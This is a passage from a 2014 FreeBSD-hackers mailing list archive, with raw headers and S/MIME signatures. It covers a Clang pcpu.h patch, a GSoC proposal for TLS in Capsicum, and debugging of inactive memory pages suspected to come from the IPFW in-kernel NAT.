L5fJKVxOqvEnW6cL9QtvUlcM3hXg8kDv60OB+LIcSE/P3/s+0tEpWPjxm3LHVE7JmPbZIcJ1 YMoZvHh0NSjY5D0HZlwtbDO7pDz9sZf1QEOgjH828fhtborkaHaUI46pmrMjiBnY6ujXMcWD pxtikki0zY22nrxfTs5xDWGxyrc/cmucjxClJF6+OYVUSaZhiiHfa9Pr+41okLgsRB0AmNwE f6ItY3TI8DGCBQowggUGAgEBMIGjMIGdMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHRmxvcmlk YTESMBAGA1UEBxMJTmljZXZpbGxlMRkwFwYDVQQKExBDdWRhIFN5c3RlbXMgTExDMRwwGgYD VQQDExNDdWRhIFN5c3RlbXMgTExDIENBMS8wLQYJKoZIhvcNAQkBFiBjdXN0b21lci1zZXJ2 aWNlQGN1ZGFzeXN0ZW1zLm5ldAIBCDAJBgUrDgMCGgUAoIICOzAYBgkqhkiG9w0BCQMxCwYJ KoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0xNDAzMTgxOTM2MDRaMCMGCSqGSIb3DQEJBDEW BBSEr5bX0fuIwLemVox1b8Rgprf5xDBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIG0BgkrBgEEAYI3EAQxgaYwgaMwgZ0xCzAJBgNV BAYTAlVTMRAwDgYDVQQIEwdGbG9yaWRhMRIwEAYDVQQHEwlOaWNldmlsbGUxGTAXBgNVBAoT EEN1ZGEgU3lzdGVtcyBMTEMxHDAaBgNVBAMTE0N1ZGEgU3lzdGVtcyBMTEMgQ0ExLzAtBgkq hkiG9w0BCQEWIGN1c3RvbWVyLXNlcnZpY2VAY3VkYXN5c3RlbXMubmV0AgEIMIG2BgsqhkiG 9w0BCRACCzGBpqCBozCBnTELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExEjAQBgNV BAcTCU5pY2V2aWxsZTEZMBcGA1UEChMQQ3VkYSBTeXN0ZW1zIExMQzEcMBoGA1UEAxMTQ3Vk YSBTeXN0ZW1zIExMQyBDQTEvMC0GCSqGSIb3DQEJARYgY3VzdG9tZXItc2VydmljZUBjdWRh c3lzdGVtcy5uZXQCAQgwDQYJKoZIhvcNAQEBBQAEggIAZSQNkaXYQd20+UBvbMrU3lHCmbjm dtfDJBGgSHQpeQfJqZ/v8WgmMMgn5nh7PjIwjMkRXBelHhIvxltajuxpLQ56sY2YlI/L0Lxf OHfe3QzI35tyNzxFab7TcGxkYSlOeVE8+zMzIs/7EBdRgz4+6l/BVzhsEWBGMJ4lSb23RAq8 fKdqkItTCJFPIH3laktu8/KtKm7BuaspMqGxkC1CLURUmgNuTNKBifI2pMQfm8UR+FVw0jak FNQXQVdxsjDFuP4AoEZhv1sd9JvYHuewMKfU1iWcDr72Ubo3VB4CTLeIIzrLv3K+Rp9ZXVAc MqfoVVhJTUmfK5Wf5p1tjOriJgW2MkWWqR6fHWIhJjbuBaB7VTfi4Z1FQxOXtsYawwyeRLQ2 sE+7F1uuAX9122GgNlFgBPZ5C1mzUOZ2oYXcQXe8t7shmmDXqH5OioBzi9Rn3h4YNEzOwALA nqqcst956LZqNestHOL17kTETHSDGxO9EDlRzjVOy9YOBbv6Q9FJ0R97qkNKV/2B0KTDyfh5 Hjs8iUvffTcVfnAnDVpbwjXALHFBJpZHx6l7OuigxnxrS8I2Vdx1zam3abOKsFsB/OABYGFA 8o2/CrcDGYDImC0M39NwqqeMdEgRhazJA2kKRTCsq1/jyjy7lPm7aujfr2zMvqOeZ1O/hOgk 91F2w04AAAAAAAA= --------------ms010604070004050106070803-- From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 19:38:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 13C82EC0; Tue, 18 Mar 2014 19:38:16 +0000 (UTC) Received: from mailuogwdur.emc.com (mailuogwdur.emc.com [128.221.224.79]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id AFCB42D7; Tue, 18 Mar 2014 19:38:15 +0000 (UTC) Received: from maildlpprd51.lss.emc.com (maildlpprd51.lss.emc.com [10.106.48.155]) by mailuogwprd53.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2IJcDnw017768 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 Mar 2014 15:38:13 -0400 X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd53.lss.emc.com s2IJcDnw017768 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=isilon.com; s=jan2013; t=1395171494; bh=SWajVKUlJPqQfW9yw9dmO7pseBw=; h=From:To:CC:Subject:Date:Message-ID:References:In-Reply-To: Content-Type:Content-Transfer-Encoding:MIME-Version; b=QISudq4EC/4QTC+Kz7masX2kjsr2tUvL4rjmUCYmwJLojFMRJCPo+YuqeQ/SxbP60 cKEhjl3zmU+Co/F6Mh4LpeuOs4gXdNxRMUaoQdXwYxss0sDWQ7zK7m+zaA9sJenPhY gfIWnF650KDFQe7IV+SAI0L/5FMa/7hM5g5Qir0Y= X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd53.lss.emc.com s2IJcDnw017768 Received: from mailusrhubprd51.lss.emc.com (mailusrhubprd51.lss.emc.com [10.106.48.24]) by maildlpprd51.lss.emc.com (RSA Interceptor); Tue, 18 Mar 2014 15:38:05 -0400 Received: from mxhub40.corp.emc.com (mxhub40.corp.emc.com [128.222.70.107]) by mailusrhubprd51.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2IJc4V4022666 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL); Tue, 18 Mar 2014 15:38:04 -0400 Received: from MXHUB103.corp.emc.com (10.253.50.16) by mxhub40.corp.emc.com (128.222.70.107) with Microsoft SMTP Server (TLS) id 8.3.327.1; Tue, 18 Mar 2014 15:38:04 -0400 Received: from MX103CL02.corp.emc.com ([169.254.6.182]) by MXHUB103.corp.emc.com ([::1]) with mapi id 14.03.0158.001; Tue, 18 Mar 2014 15:38:04 -0400 From: "Meyer, Conrad" To: John Baldwin , "freebsd-hackers@freebsd.org" Subject: RE: [PATCH] amd64/pcpu.h: Use Clang builtins for clarity when referencing thread's pcpu Thread-Topic: [PATCH] amd64/pcpu.h: Use Clang builtins for clarity when referencing thread's pcpu Thread-Index: AQHPP7ORFQWDnOxBbUqa6FTdfgehbJrnegCA///IprI= Date: Tue, 18 Mar 2014 19:38:03 +0000 Message-ID: References: <1394821826-19412-1-git-send-email-conrad.meyer@isilon.com>, <201403181452.13685.jhb@freebsd.org> In-Reply-To: <201403181452.13685.jhb@freebsd.org> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.13.37.137] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Sentrion-Hostname: mailusrhubprd51.lss.emc.com X-RSA-Classifications: public Cc: Bryan Drewery X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 19:38:16 -0000 From: John Baldwin [jhb@freebsd.org]=0A= Sent: Tuesday, March 18, 2014 11:52 AM=0A= To: freebsd-hackers@freebsd.org=0A= Cc: Meyer, Conrad; Bryan Drewery=0A= Subject: Re: [PATCH] amd64/pcpu.h: Use Clang builtins for clarity when refe= rencing thread's pcpu=0A= =0A= > > - How atomic does PCPU_INC() need to be? It looks like it updates cpu= -local=0A= > > counters; as long as it's a single asm instruction, should it be fi= ne=0A= > > w.r.t. interrupts? The existing implementation does NOT use the 'lo= ck; ' prefix.=0A= > =0A= > I think a single instruction is fine.=0A= =0A= Unfortunately, I'm seeing crashes under stress in internal testing that I c= an't attribute to anything else. I'm not sure why Clang would generate more= than one instruction for any of this, but I haven't probed too deeply.=0A= =0A= > > diff --git a/sys/amd64/include/pcpu.h b/sys/amd64/include/pcpu.h=0A= > > index fe898e9..68892fc 100644=0A= > > --- a/sys/amd64/include/pcpu.h=0A= > > +++ b/sys/amd64/include/pcpu.h=0A= > > +#define curthread __extension__ ({ = \=0A= > > + *((volatile __pcpu_type(pc_curthread) __GS_RELATIVE *) \= =0A= > > + __pcpu_offset(pc_curthread)); \= =0A= > > +})=0A= > =0A= > Would be nice to not lose the __pure2 attribute for curthread (you=0A= > might need it to still be an inline function to keep that)=0A= =0A= Yeah, I think you would need it to be a function for that. As is I don't th= ink Clang has any reason to optimize away redundant loads from a volatile p= ointer.=0A= =0A= Thanks,=0A= Conrad= From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 19:39:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 43B0116B for ; Tue, 18 Mar 2014 19:39:43 +0000 (UTC) Received: from mail-vc0-x22c.google.com (mail-vc0-x22c.google.com [IPv6:2607:f8b0:400c:c03::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 045C02FA for ; Tue, 18 Mar 2014 19:39:42 +0000 (UTC) Received: by mail-vc0-f172.google.com with SMTP id la4so7822044vcb.17 for ; Tue, 18 Mar 2014 12:39:42 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=9FD2k1DM4WfKPdsgXuIkqH85QqzOeTg02NaP6Q8CIE4=; b=tl8VfVWe4IJPsxVnVX9qBC1OKyhhWXbonX3NeS6VVQ1nZOq+CO9SrlROR11rSdkM6K 25ng4wlVtoOSGvl2D+NZJ8/imUwNSptH3ZAnkl+OiSJ8qInQZssjEVyxfXWUIpDPG3D7 HnHmd1ZBVZHWQsmw2gs5Ta5OJV6i+uqrV7XcfDQkvXFph59riJ3X789biFU3ZfriU93H QTVxmp2/tXAB+BgSkaIdqnpsnVUJlcKiBI+1hM7WUi/Gw/OUwrdCx4hTQdDoBHsH3LVi ZS40Mc9+fuaSEtdn+MCUYDJ22042kLYUfbNTjxOveLJEU0Aw70+OFrkfmGZB9FU4XclG p+aQ== MIME-Version: 1.0 X-Received: by 10.58.202.106 with SMTP id kh10mr5424602vec.31.1395171582238; Tue, 18 Mar 2014 12:39:42 -0700 (PDT) Received: by 10.58.253.7 with HTTP; Tue, 18 Mar 2014 12:39:42 -0700 (PDT) In-Reply-To: <9C137A6F-7DF9-491D-A852-CAEEDA118629@gmail.com> References: <9C137A6F-7DF9-491D-A852-CAEEDA118629@gmail.com> Date: Tue, 18 Mar 2014 19:39:42 +0000 Message-ID: Subject: Re: GSoC '14: TLS Support for Capsicum From: hiren panchasara To: Sarat Sista Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 19:39:43 -0000 On Fri, Mar 14, 2014 at 4:30 PM, Sarat Sista wrote: > Hi all, > > I am putting up a proposal for GSoC =E2=80=9914 and in this project I wil= l be implementing TLS support for Capsicum, the new sandboxing mechanism ba= sed on Capability Security model. As far as my idea goes, I should be addin= g a new SSL API to libcapsicum and modify casperd so that applications can = request TLS services as required. I hoping that anyone here can give more i= nput regarding how I should proceed further and what I should be looking at= initially. > Hi Sarat, Thank you for your proposal. Please submit it via Google Melange if you haven't done so. Reviewing projects are easier there. cheers, Hiren From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 21:30:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B05807C9; Tue, 18 Mar 2014 21:30:44 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 878B480; Tue, 18 Mar 2014 21:30:44 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 27774B946; Tue, 18 Mar 2014 17:30:43 -0400 (EDT) From: John Baldwin To: Karl Denninger Subject: Re: Tracking down what has inact pages locked up Date: Tue, 18 Mar 2014 17:30:02 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <53260B36.2070409@denninger.net> <201403181505.47349.jhb@freebsd.org> <5328A024.6050901@denninger.net> In-Reply-To: <5328A024.6050901@denninger.net> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201403181730.02471.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 18 Mar 2014 17:30:43 -0400 (EDT) Cc: Alan Cox , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 21:30:44 -0000 On Tuesday, March 18, 2014 3:36:04 pm Karl Denninger wrote: > > On 3/18/2014 2:05 PM, John Baldwin wrote: > > On Sunday, March 16, 2014 4:36:06 pm Karl Denninger wrote: > >> Is there a reasonable way to determine who or what has that memory > >> locked up -- and thus why the vm system is not demoting that space into > >> the cache bucket so it can be freed (which, if my understanding is > >> correct, should be happening long before now!) > > I have a hackish thing (for 8.x, might work on 10.x) to let you figure out > > what is using up RAM. This should perhaps go into the base system at some > > point. > > > > Grab the bits at http://people.freebsd.org/~jhb/vm_objects/ > > > > You will want to build the kld first and use 'make load' to load it. It adds > > a new sysctl that dumps info about all the VM objects in the system. You can > > then build the 'vm_objects' tool and run it. It can take a while to run if > > you have NFS mounts, so I typically save its output to a file first and then > > use sort on the results. sort -n will show you the largest consumer of RAM, > > sort -n -k 3 will show you the largest consumer of inactive pages. Note > > that 'df' and 'ph' objects are anonymous, and that filename paths aren't > > always reliable, but this can still be useful. > > > Thanks. > > I suspect the cause of the huge inact consumption is a RAM leak in the > NAT code in IPFW. It was not occurring in 9.2-STABLE, but is on > 10.0-STABLE, and reverting to natd in userland stops it -- which > pretty-well isolates where it's coming from. Memory for in-kernel NAT should be wired pages, not inactive. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 03:36:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8FD944EF for ; Wed, 19 Mar 2014 03:36:56 +0000 (UTC) Received: from fs.denninger.net (wsip-70-169-168-7.pn.at.cox.net [70.169.168.7]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 57190855 for ; Wed, 19 Mar 2014 03:36:55 +0000 (UTC) Received: from [127.0.0.1] (localhost [127.0.0.1]) by fs.denninger.net (8.14.8/8.14.8) with ESMTP id s2J3asJ3058706 for ; Tue, 18 Mar 2014 22:36:54 -0500 (CDT) (envelope-from karl@denninger.net) Received: from [127.0.0.1] (TLS/SSL) [192.168.1.40] by Spamblock-sys (LOCAL/AUTH); Tue Mar 18 22:36:54 2014 Message-ID: <532910D1.3010704@denninger.net> Date: Tue, 18 Mar 2014 22:36:49 -0500 From: Karl Denninger User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: John Baldwin Subject: Re: Tracking down what has inact pages locked up References: <53260B36.2070409@denninger.net> <201403181505.47349.jhb@freebsd.org> <5328A024.6050901@denninger.net> <201403181730.02471.jhb@freebsd.org> In-Reply-To: <201403181730.02471.jhb@freebsd.org> Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha1; boundary="------------ms090903070803080600020206" X-Antivirus: avast! (VPS 140318-2, 03/18/2014), Outbound message X-Antivirus-Status: Clean Cc: Alan Cox , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Mar 2014 03:36:56 -0000 This is a cryptographically signed message in MIME format. --------------ms090903070803080600020206 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable On 3/18/2014 4:30 PM, John Baldwin wrote: > On Tuesday, March 18, 2014 3:36:04 pm Karl Denninger wrote: >> On 3/18/2014 2:05 PM, John Baldwin wrote: >>> On Sunday, March 16, 2014 4:36:06 pm Karl Denninger wrote: >>>> Is there a reasonable way to determine who or what has that memory >>>> locked up -- and thus why the vm system is not demoting that space i= nto >>>> the cache bucket so it can be freed (which, if my understanding is >>>> correct, should be happening long before now!) >>> I have a hackish thing (for 8.x, might work on 10.x) to let you figur= e out >>> what is using up RAM. This should perhaps go into the base system at= some >>> point. >>> >>> Grab the bits at http://people.freebsd.org/~jhb/vm_objects/ >>> >>> You will want to build the kld first and use 'make load' to load it. = It adds >>> a new sysctl that dumps info about all the VM objects in the system. = You can >>> then build the 'vm_objects' tool and run it. It can take a while to = run if >>> you have NFS mounts, so I typically save its output to a file first a= nd then >>> use sort on the results. sort -n will show you the largest consumer = of RAM, >>> sort -n -k 3 will show you the largest consumer of inactive pages. N= ote >>> that 'df' and 'ph' objects are anonymous, and that filename paths are= n't >>> always reliable, but this can still be useful. >>> >> Thanks. >> >> I suspect the cause of the huge inact consumption is a RAM leak in the= >> NAT code in IPFW. It was not occurring in 9.2-STABLE, but is on >> 10.0-STABLE, and reverting to natd in userland stops it -- which >> pretty-well isolates where it's coming from. > Memory for in-kernel NAT should be wired pages, not inactive. Yeah, should be. :-) But..... it managed to lock up 19GB of the 24GB the system has in inact=20 pages over 12 hours, and dropping the system to single user and=20 unloading the modules did not release the RAM...... which is why the=20 question (on how to track down what the hell is going on.) Changing the config back to natd as opposed to in-kernel NAT, however,=20 made the problem disappear. --=20 -- Karl karl@denninger.net --------------ms090903070803080600020206 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIFTzCC BUswggQzoAMCAQICAQgwDQYJKoZIhvcNAQEFBQAwgZ0xCzAJBgNVBAYTAlVTMRAwDgYDVQQI EwdGbG9yaWRhMRIwEAYDVQQHEwlOaWNldmlsbGUxGTAXBgNVBAoTEEN1ZGEgU3lzdGVtcyBM TEMxHDAaBgNVBAMTE0N1ZGEgU3lzdGVtcyBMTEMgQ0ExLzAtBgkqhkiG9w0BCQEWIGN1c3Rv bWVyLXNlcnZpY2VAY3VkYXN5c3RlbXMubmV0MB4XDTEzMDgyNDE5MDM0NFoXDTE4MDgyMzE5 MDM0NFowWzELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExFzAVBgNVBAMTDkthcmwg RGVubmluZ2VyMSEwHwYJKoZIhvcNAQkBFhJrYXJsQGRlbm5pbmdlci5uZXQwggIiMA0GCSqG SIb3DQEBAQUAA4ICDwAwggIKAoICAQC5n2KBrBmG22nVntVdvgKCB9UcnapNThrW1L+dq6th d9l4mj+qYMUpJ+8I0rTbY1dn21IXQBoBQmy8t1doKwmTdQ59F0FwZEPt/fGbRgBKVt3Quf6W 6n7kRk9MG6gdD7V9vPpFV41e+5MWYtqGWY3ScDP8SyYLjL/Xgr+5KFKkDfuubK8DeNqdLniV jHo/vqmIgO+6NgzPGPgmbutzFQXlxUqjiNAAKzF2+Tkddi+WKABrcc/EqnBb0X8GdqcIamO5 SyVmuM+7Zdns7D9pcV16zMMQ8LfNFQCDvbCuuQKMDg2F22x5ekYXpwjqTyfjcHBkWC8vFNoY 5aFMdyiN/Kkz0/kduP2ekYOgkRqcShfLEcG9SQ4LQZgqjMpTjSOGzBr3tOvVn5LkSJSHW2Z8 Q0dxSkvFG2/lsOWFbwQeeZSaBi5vRZCYCOf5tRd1+E93FyQfpt4vsrXshIAk7IK7f0qXvxP4 GDli5PKIEubD2Bn+gp3vB/DkfKySh5NBHVB+OPCoXRUWBkQxme65wBO02OZZt0k8Iq0i4Rci WV6z+lQHqDKtaVGgMsHn6PoeYhjf5Al5SP+U3imTjF2aCca1iDB5JOccX04MNljvifXgcbJN nkMgrzmm1ZgJ1PLur/ADWPlnz45quOhHg1TfUCLfI/DzgG7Z6u+oy4siQuFr9QT0MQIDAQAB o4HWMIHTMAkGA1UdEwQCMAAwEQYJYIZIAYb4QgEBBAQDAgWgMAsGA1UdDwQEAwIF4DAsBglg hkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFHw4 +LnuALyLA5Cgy7T5ZAX1WzKPMB8GA1UdIwQYMBaAFF3U3hpBZq40HB5VM7B44/gmXiI0MDgG CWCGSAGG+EIBAwQrFilodHRwczovL2N1ZGFzeXN0ZW1zLm5ldDoxMTQ0My9yZXZva2VkLmNy bDANBgkqhkiG9w0BAQUFAAOCAQEAZ0L4tQbBd0hd4wuw/YVqEBDDXJ54q2AoqQAmsOlnoxLO 31ehM/LvrTIP4yK2u1VmXtUumQ4Ao15JFM+xmwqtEGsh70RRrfVBAGd7KOZ3GB39FP2TgN/c L5fJKVxOqvEnW6cL9QtvUlcM3hXg8kDv60OB+LIcSE/P3/s+0tEpWPjxm3LHVE7JmPbZIcJ1 YMoZvHh0NSjY5D0HZlwtbDO7pDz9sZf1QEOgjH828fhtborkaHaUI46pmrMjiBnY6ujXMcWD pxtikki0zY22nrxfTs5xDWGxyrc/cmucjxClJF6+OYVUSaZhiiHfa9Pr+41okLgsRB0AmNwE f6ItY3TI8DGCBQowggUGAgEBMIGjMIGdMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHRmxvcmlk YTESMBAGA1UEBxMJTmljZXZpbGxlMRkwFwYDVQQKExBDdWRhIFN5c3RlbXMgTExDMRwwGgYD VQQDExNDdWRhIFN5c3RlbXMgTExDIENBMS8wLQYJKoZIhvcNAQkBFiBjdXN0b21lci1zZXJ2 aWNlQGN1ZGFzeXN0ZW1zLm5ldAIBCDAJBgUrDgMCGgUAoIICOzAYBgkqhkiG9w0BCQMxCwYJ KoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0xNDAzMTkwMzM2NDlaMCMGCSqGSIb3DQEJBDEW BBTHwpylKj46M01Nd0QMNK+qeU/CBjBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIG0BgkrBgEEAYI3EAQxgaYwgaMwgZ0xCzAJBgNV BAYTAlVTMRAwDgYDVQQIEwdGbG9yaWRhMRIwEAYDVQQHEwlOaWNldmlsbGUxGTAXBgNVBAoT EEN1ZGEgU3lzdGVtcyBMTEMxHDAaBgNVBAMTE0N1ZGEgU3lzdGVtcyBMTEMgQ0ExLzAtBgkq hkiG9w0BCQEWIGN1c3RvbWVyLXNlcnZpY2VAY3VkYXN5c3RlbXMubmV0AgEIMIG2BgsqhkiG 9w0BCRACCzGBpqCBozCBnTELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExEjAQBgNV BAcTCU5pY2V2aWxsZTEZMBcGA1UEChMQQ3VkYSBTeXN0ZW1zIExMQzEcMBoGA1UEAxMTQ3Vk YSBTeXN0ZW1zIExMQyBDQTEvMC0GCSqGSIb3DQEJARYgY3VzdG9tZXItc2VydmljZUBjdWRh c3lzdGVtcy5uZXQCAQgwDQYJKoZIhvcNAQEBBQAEggIAMw9pYZ+MtiFkDU9V0mG3z/ns4A1x C6s2SCzUVUbulQm1yY+mfijvmDI5tqJV0JaREjLLOXFabqiLulz1mIecBZQiPvOc/hD7UKYK 4RMTquhbAYT40M7MfbFKWpRkzwfQDy71vB2aZP9pIoEJtpn9n+1hM2LJsCMyUJPi54Rpr0jD 8mdSHkQFW7N9uTQ3Ctc7mxIfvJp/2lfpfzZMP7tiMfcFWXUJd3N+BRxAHLC8eqNI/p/XYUdg E7ldOOdQ7hGyXLpQcmA/WGUggqqpWzFLkjQ0sikDGWJE43cTu3coPO9Pdn43aPYsKzny1yt6 Mwg8r4Nai/DYEiiZIigDMAA5CUIqMi8DycpjSSnWIR0+FZc9aCETtyxpSB+/EOGAUpv8s8Kp 349U4mDBWJOME1ZGrK8gV/21JdeQg821uIYWzoZtThyz8K8CQI8aJTiI3IvhAkxYXeEpWdlM XpIe9wstUrFilkj671pEcQOuoALYB6mUHh3l4XqAAMv5cH+7Vp+uP8J9/2nxq8cvpG87mPw/ BMqLvaH9ZIFqktUlOtVqAjpy8Fbb9593Dt9LFd+Iw2ttdgrlJISmbO9dDW2BNbW8Xo7RwpFF 9wicQwW+bFNpCAtMhWcbvPj2e5Xk/B/C01VdYqzFo3RpLoTwc1Z40XeU+sZB0GrNjldzPOYq sC+pU+4AAAAAAAA= --------------ms090903070803080600020206-- From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 19 04:53:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 89A46C55; Wed, 19 Mar 2014 04:53:05 +0000 (UTC) Received: from mail-qc0-x22b.google.com (mail-qc0-x22b.google.com [IPv6:2607:f8b0:400d:c01::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 277BEDC8; Wed, 19 Mar 2014 04:53:05 +0000 (UTC) Received: by mail-qc0-f171.google.com with SMTP id c9so3255244qcz.16 for ; Tue, 18 Mar 2014 21:53:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=A4DIORy4gcOFpLV4B4o0FJgjEtaZZmvPcLLBWYc66JU=; b=Ojg7VEBy8GhwwT0qFIo/Qn8b2n/FGF0d3quQxOWumjGMmP17TiZwp6tfUcnCLBaEoY NAmt5vxYndLK1AhtOs3r9DlkxBewauAsQ9oWs2q6IMAFN1YLLZRp//EPXC4o+EjXITgH t+yg0Yp/9SJIN8xS+0QFG7WWbchd7latA7GSzQRqqP6cFITviEG4LdmLTk7TyPIfDPFZ 52gycfil2yiFqikAXAXpq0cBgZne+UsavgSlHWZgIgotiXXSGcIEvufygUZ2NECU1Uto w/Avtbf410U9XeOqs9DoHHEDD8gpcgwozU1JMWEx26re9JRltoD4KF9fgLVNDJXE1t5Q ug8w== MIME-Version: 1.0 X-Received: by 10.224.74.201 with SMTP id v9mr58623qaj.94.1395204784375; Tue, 18 Mar 2014 21:53:04 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.8.137 with HTTP; Tue, 18 Mar 2014 21:53:04 -0700 (PDT) In-Reply-To: <532910D1.3010704@denninger.net> References: <53260B36.2070409@denninger.net> <201403181505.47349.jhb@freebsd.org> <5328A024.6050901@denninger.net> <201403181730.02471.jhb@freebsd.org> <532910D1.3010704@denninger.net> Date: Tue, 18 Mar 2014 21:53:04 -0700 X-Google-Sender-Auth: JNiZNS3gs4YWj7C-PFgLqVUD6sg Message-ID: Subject: Re: Tracking down what has inact pages locked up From: Adrian Chadd To: Karl Denninger Content-Type: text/plain; charset=ISO-8859-1 Cc: Alan Cox , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: 